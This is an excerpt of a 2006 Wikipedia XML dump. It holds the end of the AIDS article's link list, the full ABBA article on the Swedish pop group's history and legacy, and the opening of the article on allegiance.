* [http://www.aids.org/ AIDS.ORG]: Comprehensive HIV/AIDS Information
* AIDSinfo 2002 [http://aidsinfo.nih.gov/Glossary/GlossaryDefaultCenterPage.aspx?MenuItem=AIDSinfoTools The Glossary of HIV/AIDS-Related Terms 4th Edition]
* [http://www.aidsmeds.com AIDSmeds.com]: Comprehensive lessons on HIV/AIDS and their treatments
* US Center for Disease Control (2005) [http://www.cdc.gov/hiv/dhap.htm Divisions of HIV/AIDS Prevention]
* [http://fightaidsathome.scripps.edu/index.html FightAIDS@Home] Distributed computing project against AIDS
* Health Action AIDS (2003) [http://www.phrusa.org/campaigns/aids/who_031303.html HIV Transmission in the Medical Setting] 
* NIAID/NIH 2003 [http://www.niaid.nih.gov/daids/vaccine/basicinfo.htm Basic Information About AIDS and HIV]
* NIAID/NIH 2003 [http://www.niaid.nih.gov/factsheets/evidhiv.htm Evidence That HIV causes AIDS]
* NIAID/NIH 2004 [http://www.niaid.nih.gov/factsheets/howhiv.htm How HIV Causes AIDS]
* NIH 2001 [http://history.nih.gov/NIHInOwnWords/index.html History of AIDS Research in the NIH]
* The Body 2005 [http://www.thebody.com/index.shtml  The Body: The Complete HIV/AIDS Resource]
* Origin of Aids Video [http://www.documentary-film.net/search/video-listings.php?e=5 Watch Free online : Origin of Aids Video]
* Journal Watch 2005 [http://aids-clinical-care.jwatch.org/ AIDS Clinical Care]
* UNAIDS Scenarios to 2025 [http://www.unaids.org/NetTools/Misc/DocInfo.aspx?LANG=en&amp;amp;href=http%3a%2f%2fgva-doc-owl%2fWEBcontent%2fDocuments%2fpub%2fPublications%2fIRC-pub06%2fAIDS-scenarios-2025_report_en%26%2346%3bhtm Document regarding three scenarios for HIV/AIDS in Africa for the year 2025 (Large PDF file)]
* AIDS dissident websites [http://www.reviewingaids.com/awiki/index.php/List_of_dissident_websites AIDS Wiki's comprehensive list of dissident websites]
* The Body's list of resources criticizing the &quot;AIDS reappraisal&quot; movement [http://www.thebody.com/whatis/cause.html The Body: AIDS Denialism]
* Gestalt Therapy and AIDS [http://ourworld.compuserve.com/homepages/gik_gestalt/rosenblatt.html Treatment Issues with AIDS Patients (1993)]
* Documentation on the oral polio vaccine (OPV) theory of AIDS origin [http://www.aidsorigins.com/ AIDSOrigin.com]

==AIDS News==
{{wikinews|UN/WHO making progress in treating HIV/AIDS, but will miss 2005 target}}
* Nov 2005 - Progress in HIV vaccine research -[http://www.isracast.com/transcripts/011205a_trans.htm - Recorded interview with Prof. Robert Gallo (HIV discoverer)]

{{AIDS}}

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    </revision>
  </page>
  <page>
    <title>ABBA</title>
    <id>880</id>
    <revision>
      <id>42058359</id>
      <timestamp>2006-03-03T14:46:11Z</timestamp>
      <contributor>
        <ip>205.251.103.38</ip>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{Infobox_band |
  band_name         = ABBA|
  image             = [[Image:ABBApromotional.jpg]] |
  caption           = ''Clockwise from top: Andersson, Ulvaeus, Lyngstad, Fältskog'' |
  origin            = [[Stockholm]], [[Sweden]] |
  status            = |
  years_active      = 1972-1982|
  music_genre       = [[Rock (music)|Rock]]&lt;br /&gt;  [[Europop]]&lt;br /&gt;[[Pop music|Pop]]&lt;br /&gt;[[Disco]] |
  record_label      = [[Polar Music]]&lt;br /&gt;[[Atlantic Records]]&lt;br /&gt;[[Epic Records]]&lt;br /&gt;[[Universal Music]]&lt;br /&gt;[[Polydor Records]] |
  current_members   = |
  past_members      = [[Benny Andersson]]&lt;br /&gt;[[Agnetha Fältskog]]&lt;br /&gt;[[Anni-Frid Lyngstad|Anni-Frid &quot;Frida&quot; Lyngstad]]&lt;br /&gt;[[Björn Ulvaeus]] |
}}

'''ABBA''' ([[1972]]–[[1983]]) was a [[Sweden|Swedish]] [[pop music]] group. They remain the most successful Swedish music act and were one of the most popular groups in the world. The group dominated charts worldwide during the mid-to-late 1970s and early 1980s, selling many [[ABBA discography|hit singles and albums]]. Estimates of ABBA's total worldwide sales vary from 300 to 400 million (there seems to be no reliable source for this information) which could make them the second most successful band of all time after [[The Beatles]]. They were the first act from the European mainland to become a regular fixture in [[UK Singles Chart|British]], [[Hot 100 Singles Sales|American]] and [[ARIA Charts|Australian]] charts, and their success subsequently opened the doors for many other European acts. Their lasting legacy is the legitimising of the Swedish music industry as a mainstream player.

ABBA was formed around [[1972]] with [[Björn Ulvaeus]], [[Benny Andersson]], [[Agnetha Fältskog]], and [[Anni-Frid Lyngstad]] (nicknamed &quot;Frida&quot;). They became widely known after winning the [[1974]] [[Eurovision Song Contest]] with &quot;[[Waterloo (English version)|Waterloo]]&quot;. The group consisted of two couples, Björn and Agnetha along with Benny and Frida. ABBA collectively decided to take a break at the beginning of [[1983]]. They have yet to record together again in the studio.
 
''ABBA'' is an [[acronym]] formed from the first letters of each group member's name. It is usually written '''ABBA''' but is sometimes written as a word, '''Abba'''. The first ''B'' in the [[logo]] version of the name was reversed on the band's promotional material from [[1976]] onwards.

==History==
===Before ABBA===
Benny Andersson was a member of the Swedish rock / pop band [[Hep Stars]] who were very popular in Sweden during the 1960s. The band was modeled after various US and UK groups such as [[Herman's Hermits]], [[The Who]] and [[The Rolling Stones]]. The Hep Stars had a huge following, especially among teenage girls. Meanwhile Björn Ulvaeus was fronting a [[skiffle]] group called the [[Hootenanny Singers]] whose sound was softer and more easy-listening than the Hep Stars. The singers crossed paths sometimes and they decided to write songs together. One of these, &quot;Isn't It Easy To Say,&quot; became a hit for the Hep Stars and Björn sometimes guested with the band on tour. It was even suggested that the two bands merge but this never happened. [[Stikkan Anderson|Stig Anderson]], manager of the Hootenanny Singers and founder of [[Polar Music]], saw more potential in Benny and Björn working together and encouraged them to write more songs and create an album which was eventually called ''Lycka'' (&quot;Happiness&quot;) when released on the Polar label.

Agnetha Fältskog was ABBA's youngest member and a pop phenomenon in her own right who wrote and performed Swedish hits while in her teens and had also played [[Mary Magdalene]] in the Swedish production of ''[[Jesus Christ Superstar]]''. Agnetha was noted by critics and songwriters as an accomplished composer but she considered it hard work, writing and performing light pop songs in the [[Schlager]] style, recording [[cover version|covers]] of hit songs and touring Swedish [[folkpark]]s, the main &quot;live circuit&quot; at that time. Inevitably she bumped into the Hootenanny Singers on their folkpark tours, meeting and eventually falling in love with Björn. Their marriage in [[1971]] was the Swedish celebrity wedding of the year and drew much publicity.

Housewife Anni-Frid &quot;Frida&quot; Lyngstad was a part-time cabaret singer who decided to enter a talent competition and won. Sweden was [[Dagen H|changing over]] from driving on the left side of the road to the right and a series of spectacular shows was being aired to encourage people to stay off the roads on the night of the switchover. Invited to appear on TV that evening with her winning song, Frida's musical career took off. She met Benny Andersson on the wonted folkpark tour. They became lovers and Benny invited Anni-Frid to sing backing vocals with Agnetha on the ''Lycka'' album. The two women were uncredited for this work.

===Early years===
[[Image:People_Need_Love_small.jpg|frame|right|The cover of &quot;People Need Love,&quot; the first single released by the group.]]

By the early 1970s, although Björn and Agnetha were married, they pursued their own separate musical careers. However Stig was ambitious and determined to break into the mainstream international market, not something that Swedish acts were usually known for, though previously achieved by Swedish instrumental guitar group [[The Spotnicks]] (their best known hit was &quot;Orange Blossom Special&quot;). As a result he encouraged Björn and Benny to write a song for the [[1972]] [[Eurovision Song Contest]] and it was performed by Lena Anderson. &quot;Say It With a Song&quot; won third in the contest selection rounds but was a huge hit in several countries, convincing Stig he was on the right track.

Björn and Benny persevered with their songwriting and experimented with new sounds and vocal arrangements which brought some success in [[Japan]]. One of the songs they came up with was &quot;[[People Need Love]],&quot; featuring guest vocals by the girls who were now given much greater prominence than previously. Everyone involved felt enthusiastic about the new sound and Stig released it as a single, credited to ''Björn &amp; Benny, Agnetha &amp; Anni-Frid''. The record reached number 17 in the Swedish charts, enough to convince them they were on to something.


[[Image:Ringring1973sleeve.jpg|left|thumb|200px|The cover of the [[1973]] version of the album ''[[Ring Ring (album)|Ring Ring]]''.]]

The following year they decided to have another crack at Eurovision, this time with the song &quot;[[Ring Ring (English version)|Ring Ring]].&quot; The studio work was handled by [[Michael B. Tretow]] who experimented with a [[Phil Spector]]-like &quot;[[wall of sound]]&quot; production technique that became the wholly new ABBA sound. Stig arranged an English translation of the lyrics by [[Neil Sedaka]] and [[Phil Cody]] and they thought this would be a sure-fire winner. Yet again, it came in third. Nevertheless the proto-group put out an album called ''[[Ring Ring (album)|Ring Ring]]'', still carrying the awkward naming of ''Björn, Benny, Agnetha &amp; Frida''. The album did well and the &quot;Ring Ring&quot; single was a hit in many parts of Europe but Stig felt the true breakthrough could only come with a UK or US hit.

Around this time Stig, having tired of the unwieldy names, started to refer to the group privately and publicly as ''ABBA''. This was done as a joke at first, since Abba was also the name of a well-known fish-canning company in Sweden. However, since the fish canners were more or less unknown outside Sweden, Stig came to believe the name would work in international markets and so it stuck. Later the group negotiated with the canners for the right to use the name.

===Eurovision and after===
[[Image:Waterloo Watch Out.jpg|right|thumb|200px|&quot;[[Waterloo (English version)|Waterloo]]&quot; ([[1974]])]]
[[Image:Mammamiasingle.jpg|right|thumb|200px|&quot;[[Mamma Mia]]&quot; ([[1975]])]]
They tried [[Eurovision Song Contest|Eurovision]] again in [[1974]], now inspired by the growing [[glam rock]] scene in the [[United Kingdom|UK]] and tracks like [[Wizzard]]'s &quot;See My Baby Jive&quot;. &quot;Waterloo&quot; was an unashamedly glam-style pop track produced with Michael B. Tretow's wall of sound approach. Now far more experienced, they were better prepared for the contest and had an album's worth of material released when the show was held in [[Brighton, England]]. The song won hands down and catapulted them into British consciousness for the first time. Now they had a catchy name, ABBA, and people could buy the whole album (''Waterloo'') straightaway.

&quot;[[Waterloo (English version)|Waterloo]]&quot;  was ABBA's first UK No. 1. It was also released in the [[United States|US]], reaching No. 6. But momentum proved hard to maintain, and their follow-up singles &quot;So Long&quot; and &quot;Honey Honey&quot; did not do nearly as well. The group was overstretched and unable to promote the songs convincingly in any one country. Moreover, much of their material was still heavily derivative. It wasn't until the release of their second proper album ''[[ABBA (album)|ABBA]]'' and their single &quot;[[SOS (song)|SOS]]&quot; that ABBA began to show the first signs they were destined for bigger things. &quot;SOS&quot; consolidated ABBA's presence in the UK where it was a Top 10 hit and they were no longer regarded as a [[one-hit wonder]].

Much wider success came in [[1975]] with every release charting solidly and &quot;[[Mamma Mia (song)|Mamma Mia]]&quot; reaching the UK No. 1 spot in January [[1976]]. 

At this time the band released the somewhat hubristically titled ''[[Greatest Hits (ABBA album)|Greatest Hits]]'' album despite having had only five Top 40 hits in the UK and the US. This album included &quot;[[Fernando (single)|Fernando]]&quot;  (an earlier version had been a Swedish-language hit single for Anni-Frid and included on her 1975 Benny-produced solo LP ''[[Frida Ensam]]''). Becoming one of ABBA's best-known tracks, &quot;Fernando&quot; did not appear on the Swedish or Australian releases of ''Greatest Hits''. In Sweden the song would wait until 1982's ''The Singles-The First Ten Years'' to appear in an English-language version credited to ABBA; the track was later included in the Australian release of their [[1976]] album, ''[[Arrival (ABBA_album)|Arrival]]''.

The next album, ''Arrival'', represented a new level of accomplishment in both songwriting and studio work for ABBA. Hit after hit flowed from it: &quot;[[Money, Money, Money]]&quot;, &quot;[[Knowing Me, Knowing You (single)|Knowing Me, Knowing You]]&quot; and &quot;[[Dancing Queen (single)|Dancing Queen]]&quot;, their most enduring and definitive hit. By this time ABBA were widely popular in the UK, most of Western Europe and [[Australia]] (who in a way almost &quot;adopted&quot; ABBA as their own) but still had only moderate recognition and airplay in the US, and &quot;Dancing Queen&quot; remains the only No. 1 ABBA ever achieved there.

[[Image:abbamovieposter.jpg|thumb|right|Movie poster for ''[[ABBA: The Movie]]'' and ''[[The Album]]'' carried the same artwork.]]
By this time the ABBA sound was synonymous with European pop and was widely copied by groups like [[Brotherhood of Man]] and later, [[Bucks Fizz (band)|Bucks Fizz]]. Some felt it was necessary to copy ABBA's sound and two girl/two boy approach to win Eurovision, and the notion seemed validated when Brotherhood of Man won in 1976 and Bucks Fizz took the prize in [[1981]]. 

Meanwhile in [[1977]] ABBA followed up ''Arrival'' with the more complex ''[[The Album]]'' which was released to coincide with ''[[ABBA: The Movie]]'', a feature film of their Australian tour. This album was less well-received by the critics but spawned several hits, &quot;[[The Name of the Game]]&quot; and &quot;[[Take A Chance On Me|Take a Chance on Me]]&quot;, both of which topped the UK charts. This album also carried the well-known &quot;Thank You for the Music&quot; that later was released in the UK as a single ([[1983]]) and had been a B-side of &quot;Eagle&quot; in territories where that song was released as a single.

===Later years===
By [[1978]] ABBA was a megagroup. They converted a disused cinema into the Polar Music Studio, a new state-of-the-art studio in [[Stockholm]] which was used by several other successful bands ([[Led Zeppelin]]'s ''[[In Through the Out Door]]'' was recorded there, for example). 

Their standalone single &quot;[[Summer Night City]]&quot;, their last Swedish number one, stopped just short of topping the UK charts but set the stage for ABBA's foray into [[disco]] with the album ''[[Voulez-Vous]]'', which was released in Spring [[1979]]. This release marked a slight decline in ABBA's popularity in the UK and Europe but gained them more attention in the US. The hits still came: &quot;[[Chiquitita]]&quot;, &quot;[[Does Your Mother Know]]&quot;, &quot;[[Voulez-Vous (song)|Voulez-Vous]]&quot; and &quot;[[I Have A Dream (ABBA song)|I Have A Dream]]&quot; all charted. In January 1979, the group performed at the [[Music for UNICEF Concert]] at the [[United Nations General Assembly]], performing &quot;[[Chiquitita]]&quot;; the [[royalties]] from the song were donated to [[UNICEF]].

Later that year, the group released their second greatest hits album, Greatest Hits Vol 2, which featured a brand new track &quot;[[Gimme! Gimme! Gimme! (A Man After Midnight)]]&quot;, their best known [[disco]] hit.

In [[1979]] ABBA toured the US and Canada, playing to huge audiences, but the breakthrough there was perhaps too little, too late. 

[[1980]]'s ''[[Super Trouper]]'' reflected a change in ABBA's style with more prominent [[synthesiser]]s and more personal lyrics. It set a record for the most preorders ever received for a UK album after 1 million copies were ordered before release. Anticipation for the release had been built up by &quot;[[The Winner Takes It All]]&quot;, the group's eighth UK chart topper (their first since [[1978]]). This song was allegedly written about Bjorn and Agnetha's marriage, which was breaking down at the time. The next single from the album, &quot;[[Super Trouper (song)|Super Trouper]]&quot; also hit number 1. &quot;[[Lay All Your Love On Me]]&quot; was an album track that was released in 1981 as a 12-inch single only in limited territories, and, along with Super Trouper, managed to top the American club and dance chart. A Spanish language compilation album was also recorded at this time - 'Gracias Por La Musica', which was released in Latin America and sold very well.

''[[The Visitors]]'' ([[1981]]), their final studio album, showed a songwriting maturity and depth of feeling distinctly lacking from their earlier recordings but still placed the band squarely in the pop genre, with catchy tunes and harmonies.  ''The Visitors''&lt;nowiki&gt;'&lt;/nowiki&gt; title track refers to secret meetings held against the approval of Communist governments in Soviet satellite states and other tracks address topics like aging, loss of innocence, a parent watching her child grow up and so on. Their melodies were still catchy but their change of style was reflected by the start of a commercial decline after their final great pop single &quot;[[One Of Us (ABBA song)|One Of Us]]&quot; which was a worldwide hit in December 1981.

Although by this time regarded as a group in decline, ABBA still drew huge audiences, particularly in continental Europe and might have gone on indefinitely if it were not for the band's personal turmoils: the two married couples were both divorced by this point. Songs like &quot;The Winner Takes It All&quot; and &quot;One Of Us&quot; gave glimpses of personal issues ABBA's members were facing. 

In summer 1982, the group gathered to record a new album. In the end they settled for a double album compilation of all their past successes with two new songs. The double album ''[[The Singles: The First Ten Years]]'' topped the UK album chart and was a worldwide bestseller. The new tracks were &quot;[[Under Attack]]&quot; and &quot;[[The Day Before You Came]]&quot;, which was the last song ABBA ever recorded together. Two other songs were recorded during 1982, &quot;I Am The City&quot; and &quot;Just Like That&quot;. While both were completed, only &quot;I Am The City&quot; was released on the compilation album ''More ABBA Gold'' in 1993. Despite numerous efforts from fans, Björn Ulvaeus and Benny Andersson are still refusing to release &quot;[[Just Like That (ABBA song)|Just Like That]]&quot; in its entirety.

The group gradually drifted apart as they began pursuing different projects. Benny and Björn collaborated with [[Tim Rice]] to write the musical ''[[Chess (musical)|Chess]]'', while Agnetha and Frida worked on solo albums.

==After ABBA==
Björn and Benny wrote the music for the [[West End]] show ''[[Chess (musical)|Chess]]'' ([[1984]]) with lyricist [[Tim Rice]]. ''Chess'' ran for three years in London. The show also opened on [[Broadway theatre|Broadway]] in the US ([[1988]]) but the song order, lyrics and storyline had been altered compared with the London version, and was less successful; the show closed within weeks. &quot;Chess&quot; is best known today for producing the international hit &quot;[[One Night in Bangkok]]&quot;, sung by [[Murray Head]].

Björn and Benny, inspired by the successes of Rice and his former collaborator [[Andrew Lloyd-Webber]], had long expressed their desire to write a musical. Their first attempt had been a &quot;mini-musical&quot;, ''The Girl with The Golden Hair'', performed by the group during their 1977 tour of Europe and Australia. Excerpts were included in ''ABBA - The Movie'' and ''ABBA - The Album''. Björn and Benny followed ''Chess'' with ''[[Kristina från Duvemåla]]'' ([[1995]]), directed for the stage by [[Lars Rudolfsson]] and based on the ''Emigrants'' [[tetralogy]] by Swedish novelist [[Vilhelm Moberg]]. ''[[Mamma Mia!]]'', a musical built around ABBA's songs, had its London premiere in [[1999]]. In 2003, their first musical was given new life in a Swedish-language version, ''Chess På Svenska''.

After being largely forgotten throughout most of the 1980s, ABBA experienced a resurgence. The attention was often ironic, along the lines of &quot;they were so [[wikt:naff|naff]] they were good,&quot; yet others recognised that while ABBA was often panned by critics and sneered at by [[punk rock|punk]] and [[New Wave music|New Wave]] musicians they were masters of their art, the three minute pop song. [[1992]] saw a huge revival of interest in ABBA, with the release of their [[ABBA Gold: Greatest Hits]] compilation album selling massively worldwide and setting chart longevity records. The revival was further validated by the [[1994]] film &quot;[[Muriel's Wedding]]&quot;, a popular Australian film starring an ABBA-loving protaganist.  Björn and Benny were finally recognised in [[2001]] with an [[Ivor Novello|Ivor Novello Award]] for their songwriting. Many former punk and New Wave artistes later admitted to levels of fondness and respect for ABBA they were unwilling to own up to in their early years.

During the 1990s many ABBA tracks were rediscovered and covered by other artists, such as [[Erasure]], [[Ash (band)|Ash]] and the [[A*Teens]], among others. The avant-garde band [[Blancmange (band)|Blancmange]] had also covered ''The Day Before You Came'' in the mid-1980s, one of the first bands to cover an ABBA track.

On [[April 6]]th 2004 three former ABBA members (Björn, Benny and Frida) showed up together in London for the 30th anniversary of their Eurovision Song Contest win in 1974, appearing on stage after the fifth anniversary performance of ''Mamma Mia!''. In a November 2004 interview with the German magazine ''[[Bunte]]'' Björn said a reunion would not satisfy ABBA's many fans, even though there are legions of them around the world often clamouring for one. In February 2005 all four members of ABBA appeared together in public for the first time since 1986 at the gala opening of ''Mamma Mia!'' in Stockholm.

On [[October 22]] 2005, during the celebration show for the 50th anniversary of the Eurovision Song Contest held in [[Copenhagen]], [[Denmark]], ''Waterloo'' was [http://news.bbc.co.uk/1/hi/entertainment/music/4366574.stm voted the best] Eurovision song in the history of the contest.

===Post-ABBA solo careers===

Both female members of ABBA have had some success with solo careers following the break-up of the band.

In [[1982]], Frida released her [[Phil Collins]]-produced album ''[[Something's Going On]]'' This album included the hit single &quot;I Know There's Something Going On&quot;. Agnetha followed in [[1983]] with the album ''Wrap Your Arms Around Me''. This album included the hit single ''The Heat Is On'' (a cover of the [[Noosha Fox]] recording) which was a big hit all over Europe and Scandinavia that year. In the US Agnetha scored a Billboard top 30 hit with ''Can't Shake Loose''. Her album sold over 1.2 million copies worldwide. Frida retired after her second solo album ''Shine'' flopped. Agnetha fared better with her second post-ABBA solo album ''Eyes of a Woman''. The album was number two in the Swedish charts and did reasonably well in Europe. 

After ''I Stand Alone'' in [[1987]] Agnetha withdrew from public life and refused to give interviews. In [[1996]] she released her [[autobiography]] called ''As I Am'' and also released a compilation that featured her solo hits. In [[2004]] she released a disc of cover songs called &quot;My Colouring Book&quot; which debuted at number one in Sweden and number six in Germany. The album peaked just outside of the British top ten (number 11) and the single ''If I Thought You'd Ever Change Your Mind'' reached number 9 in the UK singles chart. The album went triple-platinum in Sweden (300,000 copies), gold in Finland and silver in Great Britain.

Frida released ''Shine'' (produced by [[Steve Lillywhite]]) in [[1984 in music|1984]] but it was not until 1996 that she released her last album to date, the Swedish-language ''Djupa Andetag'' which was a number one album in Sweden (selling 90,000 copies) but unknown internationally. In September 2004 Frida recorded a song called &quot;The Sun Will Shine Again&quot; with former [[Deep Purple]] member [[Jon Lord]] for his latest album, making some rare appearances on German television.

==Fashion and videos==
&lt;!-- Unsourced image removed: [[Image:abba2.jpg|thumb|180px|left|Members of ABBA embodied the height of disco glamour in the 70s.]] --&gt;
ABBA was widely noted as an epitome of 1970s fashion for the colourful costumes its members wore. The videos which accompanied some of their biggest hits are often cited as being among the earliest examples of the genre. Though The Beatles and the Rolling Stones had shot the occasional video clip, making promotional videos still hadn't become the industry standard by the early-to-mid 1970s. Most of ABBA's videos (and ''ABBA - The Movie'') were directed by [[Lasse Hallström]] who would later direct the films ''[[My Life as a Dog]]'', ''[[The Cider House Rules]]'' and ''[[Chocolat (movie)|Chocolat]]''. 

ABBA made videos because their songs were hits in so many different countries and personal appearances weren't always possible. This was also an effort to minimise travelling, particularly to countries that would have required extremely long flights. Agnetha and Björn had two young children, and Agnetha, who was also [[Fear of flying|afraid of flying]], was very reluctant to leave her children for such a long time. ABBA's manager Stig Anderson realised the potential of showing a simple video clip on television to publicise a single or album, thereby allowing easier and quicker exposure than a concert tour. Some of these videos became classics because of the 1970s era costumes and early video effects, such as the grouping of the band members in different combinations of pairs, overlapping one girl's profile with the other's full face, and the contrasting of one member against another.
Nowadays, most of their videos can be seen on the DVDs ''ABBA Gold'' and ''The Definitive Collection''.

[[Image:Ringringstill.jpg|thumb|right|200px|A still from ABBA's music video, or promo clip, &quot;Ring Ring.&quot;]]
Several ABBA videos were spoofed by others: The video &quot;Knowing Me, Knowing You&quot; was satirised on the [[British Broadcasting Corporation|BBC]] [[comedy]] show ''[[Not the Nine O'Clock News]]'' as &quot;Super Dooper.&quot;  The title ''[[Knowing Me, Knowing You]]'' was also borrowed for a spoof chat show on BBC starring [[Steve Coogan]] as [[Alan Partridge]] who always entered the studio shouting &quot;Aha!&quot; (an exclamation in the lyrics). UK comedy duo [[French and Saunders]] parodied ABBA with their song &quot;C'est La Vie&quot;, an homage to &quot;The Winner Takes it All.&quot;  [[Erasure]] paid homage to the ABBA video style with their video for &quot;[[Take a Chance on Me]].&quot;

==Trivia==
*Songwriters Benny and Bj&amp;ouml;rn were unable to [[Musical_notation|notate music]] on paper. Only Agnetha could (as revealed in a [[Dick Cavett]] interview with the group).

*Abba have been spoofed by many TV shows, including ''[[French &amp; Saunders]]'', ''[[Not The Nine O'Clock News]]'' and ''[[Fast Forward]]''. In addition, the character of &quot;[[Alan Partridge]]&quot; is noted as being a huge ABBA fan, especially on his television show &quot;[[Knowing Me, Knowing You with Alan Partridge]]&quot; where all the hosts and all guests were introduced with different ABBA songs.

*At the height of their success ABBA was Sweden's biggest export, exceeding even [[Volvo]] cars.

*While selling their music into Russia during the late 1970s ABBA were paid in oil commodities because of an [[embargo]] on the [[rouble]].

*The song ''Chiquitita'' was first performed at the [[Music for UNICEF Concert]] in [[1979]]. ABBA's performance at the concert was, however, [[lip-synching|lip-synched]]. All royalties from the song were donated to the children's charity [[United Nations Children's Fund|UNICEF]] in perpetuity.

*In [[1981]], ABBA sponsored the [[ATS]] [[Formula One]] racing team, for whom [[Slim Borgudd]], a former drummer who appeared on some ABBA recordings, was a driver.

*The hit song &quot;Bring Me Edelweiss&quot; ([[1989]]) by [[Edelweiss (band)|Edelweiss]] features the tune and some lyrics from &quot;S.O.S&quot;. This caused some controversy between Bjorn &amp; Benny, and manager Stig - Stig had granted approval to use the song without consulting the others.

*The sound track of the successful Australian film ''[[Muriel's Wedding]]'' ([[1994]]) prominently featured ABBA songs: The two female leads [[lip sync]] &quot;Waterloo&quot; and the wedding scene is scored to an orchestral rendition of &quot;Dancing Queen&quot;. The movie also features &quot;Mamma Mia&quot;, &quot;Fernando&quot; and &quot;I Do, I Do, I Do, I Do, I Do&quot;.

*Another 1994 Australian fillm ''[[The Adventures of Priscilla, Queen of the Desert]]'' features a performance of ''Mamma Mia!'' by two [[drag queen|drag queens]], furthering ABBA's status as a [[gay icon]].

*The ABBA [[tribute band]] [[Bj&amp;ouml;rn Again]] became so successful that as of 2004 there were five casts of Bj&amp;ouml;rn Again performing in various parts of the world. The original Bj&amp;ouml;rn Again had been touring for 15 years, longer than the original group.

*[[techno music|Techno]] and [[house music|house]] remakes of many original ABBA hits were released under the name [[Abbacadabra]].

*''[[Mamma Mia!]]'' was nominated for a Broadway [[Tony Award]] as Best Musical in [[2002]].

*In [[2000]] ABBA were reported to have turned down an offer of approximately one billion dollars (US) to do a reunion tour.

*In 2005 ABBA's 1976 hit single &quot;Fernando&quot; still held the record for the most weeks spent at number one in Australia (along with The Beatles' &quot;Hey Jude&quot;). [http://www.onmc.iinet.net.au/top/1976.htm]

*In addition to being an [[acronym]], the name &quot;ABBA&quot; is also a [[palindrome]]. In 1975, ABBA's &quot;SOS&quot; became the first song with a palindromic title recorded by a group with a palindromic name to hit the pop charts.

*ABBA was inducted into the [[Vocal Group Hall of Fame]] in [[2002]].

*In the film ''[[Johnny English]]'', the title character ([[Rowan Atkinson]]) is discretely characterized as an ABBA fan. He sings &quot;Thank You for The Music&quot;, and lip-syncs to &quot;Does Your Mother Know&quot; in front of a mirror.

* [[The Fugees]] sampled [[ABBA]] (as well as [[Crystal Gayle]]) for their contribution to the [[1996]] &quot;[[When We Were Kings]]&quot; soundtrack, &quot;Rumble in the Jungle&quot;

*[[Madonna (entertainer)|Madonna]] sampled the group's &quot;[[Gimme! Gimme! Gimme! (A Man After Midnight)]]&quot; in her [[2005]] single &quot;[[Hung Up]]&quot;.

==See also==
*[[ABBA discography]] - ABBA's discography and chart positions for UK, USA, Germany and Netherlands.
*[[ABBA unreleased songs|List of ABBA Unreleased songs]]
*[[Music of Sweden]]
*[[List of Swedes in music]]
*[[Best selling music artists]] - World's top selling music artists chart.
*[[List of number-one hits (United States)]]
*[[List of artists who reached number one on the Hot 100 (U.S.)]]
*[[List of Number 1 Dance Hits (United States)]]
*[[List of artists who reached number one on the U.S. Dance chart]]
*[[List of Number 1 singles (UK)]]
*[[UK Best selling singles artists of all time]]
*[[List of artists who reached number one in Ireland]]
*[[List of artists who have covered ABBA songs]]
*[[List of artists who reached number one on the Australian singles chart]]
*[[List of songs with particularly long titles]]

==External links==
*[http://www.abba4therecord.com/ abba4therecord.com] - ABBA Discography.
*[http://www.abba-thesingles.com/ abba-thesingles.com] - ABBA Singles Discography.
*[http://www.abbasite.com/start/ ABBA - The Site] - Official site. This site is owned and maintained by &quot;[[Universal Music]] AB&quot; in Sweden.
*[http://www.abba-world.net// ABBA World] - Complete song list, website links reviewed and categorised, selected discography, bibliography, concert information, and much more.
*[http://www.abbaplaza.com/ ABBAPlaza.Com] - ABBA fan site in English and in Dutch.
*[http://www.icethesite.com/ icethesite.com] - ABBA and the musicals CHESS, Kristina and more...
*[http://www.vocalhalloffame.com/abba3.htm VocalHallOffame.Com] - &quot;Vocal Group Hall of Fame&quot; page on ABBA.
*[http://www.abba-story.com ABBA-Story.Com] - Site about ABBA.
*[http://www.photofeatures.com/abba/index.html Photo archive of ABBA by Rock Photographer Chris Walter.]
*[http://66.235.213.139/~abbagall/index.html Collection of ABBA's pictures]
*[http://www.abbamail.com/ ABBAmail.Com] ABBA-related site.
*[http://www.lyrics-explorer.com/lyrics/artists/a/abba/ ABBA Lyrics Page] Song lyrics collection.
*[http://www.codehot.co.uk/lyrics/abcd/abba/abba.htm Code Hot UK - ABBA Lyrics] Popular ABBA song lyrics.
*[http://www.mabba.fw.hu/ The Hungarian ABBA site] lyrics, pictures, extras etc.

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  before=[[Anne-Marie David]] |
  title=[[Eurovision Song Contest|Winner of the Eurovision Song Contest]] |
  years=[[1974]] |
  after=[[Teach-In]] 
}}
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[[Category:ABBA]]
[[Category:Popular musical groups]]
[[Category:Swedish musical groups|ABBA]]
[[Category:Disco musicians|ABBA]]
[[Category:Eurovision winners]]
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    </revision>
  </page>
  <page>
    <title>Allegiance</title>
    <id>881</id>
    <revision>
      <id>42009066</id>
      <timestamp>2006-03-03T04:47:50Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/220.94.125.128|220.94.125.128]] ([[User talk:220.94.125.128|talk]]) to last version by Ncox</comment>
      <text xml:space="preserve">{{Otheruses}}

'''Allegiance''' is the duty which a subject or a [[citizen]] owes to the [[state (law)|state]] or to the [[Monarch|sovereign]] of the state to which he belongs.

==Origin of the word==

Mid. English ''ligeaunce''; med. Latin ''ligeantia''; the al- was probably added through confusion with another legal term, ''allegeance'', an ''allegation''; the [[French language|French]] ''allegeance'' comes from the English; the word is formed from &quot;liege,&quot; of which the derivation is given under that heading; the connection with [[Latin]] ''ligare'', to bind, is erroneous.

==Usage==

The term ''allegiance'' is often used by English legal commentators in a larger sense, divided by them into natural and local, the latter applying to the deference which even a foreigner must pay to the institutions of the country in which he happens to live; but it is in its proper sense, in which it indicates national character and the subjection due to that character, that the word is important.

In that sense it represents the [[feudal]] [[liege homage]], which could be due only to one lord, while simple [[homage]] might be due to every lord under whom the person in question held land.

==United Kingdom==

The English doctrine, which was at one time adopted in the [[United States]], asserted that allegiance was indelible: &quot;Nemo potest exuere patriam&quot;. Accordingly, as the law stood before [[1870]], every person who by birth or [[naturalization]] satisfied the conditions set forth, though he should be removed in infancy to another country where his family resided, owed an allegiance to the British crown which he could never resign or lose, except by act of parliament or by the recognition of the independence or the cession of the portion of British territory in which he resided.

